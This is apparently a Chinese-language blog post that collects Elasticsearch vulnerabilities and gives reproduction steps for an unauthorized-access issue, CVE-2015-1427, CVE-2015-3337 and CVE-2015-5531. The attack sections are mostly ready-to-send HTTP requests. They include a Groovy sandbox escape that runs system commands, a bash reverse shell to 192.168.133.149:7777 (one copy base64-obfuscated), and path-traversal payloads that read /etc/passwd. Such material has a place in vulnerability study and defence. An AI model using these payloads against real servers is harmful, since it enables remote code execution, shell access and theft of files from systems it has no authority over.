Elasticsearch 重点漏洞合集

Source

简介

Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。

Elasticsearch 未授权访问漏洞

漏洞简介

可访问的url:

http://ip:9200/_plugin/head/ web管理界面
http://ip:9200/_cat/indices
http://ip:9200/_river/_search 查看数据库敏感信息
http://ip:9200/_nodes 查看节点数据

环境搭建:https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip

需要 jdk 1.8 +

在这里插入图片描述
因为只安装了环境,所以只能访问此页面。

ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427)

影响范围

< 1.3.8 && 1.4.x ~ 1.4.3

漏洞复现

先发送数据包:

POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

{
    
      
  "name": "test"
}

在这里插入图片描述

在发送数据包执行命令:

POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156

{
    
      "size":1, "script_fields": {
    
      "lupin":{
    
      "lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

在这里插入图片描述
反弹shell脚本:

bash -i >& /dev/tcp/192.168.133.149/7777 0>&1

bash -c {
    
      echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzMy4xNDkvNzc3NyAwPiYx}|{
    
      base64,-d}|{
    
      bash,-i}

在这里插入图片描述

ElasticSearch 目录穿越漏洞(CVE-2015-3337)

影响范围

1.4.5以下/1.5.2以下

漏洞原理

在安装了具有“site”功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

Payload:

/_plugin/head/../../../../../../../../../etc/passwd
# 穿就完事了

ElasticSearch 目录穿越漏洞(CVE-2015-5531)

影响范围

1.6.1以下

漏洞介绍

elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

漏洞复现

发三个数据包。

1.新建一个仓库

PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    
      
    "type": "fs",
    "settings": {
    
      
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

在这里插入图片描述

2.创建快照

PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    
      
    "type": "fs",
    "settings": {
    
      
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"  # test2命名是snapshot-test,服务器会认为这是test仓库的backdata快照,snapshot-backdata为快照名,格式为snapshot-xxx
    }
}

在这里插入图片描述

3.穿穿穿

http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

在这里插入图片描述
结果那一串数字为十进制的整数字符,也就是ASCII码

使用谷歌浏览器

Console:

输入String.fromCharCode(ASCII码)即可。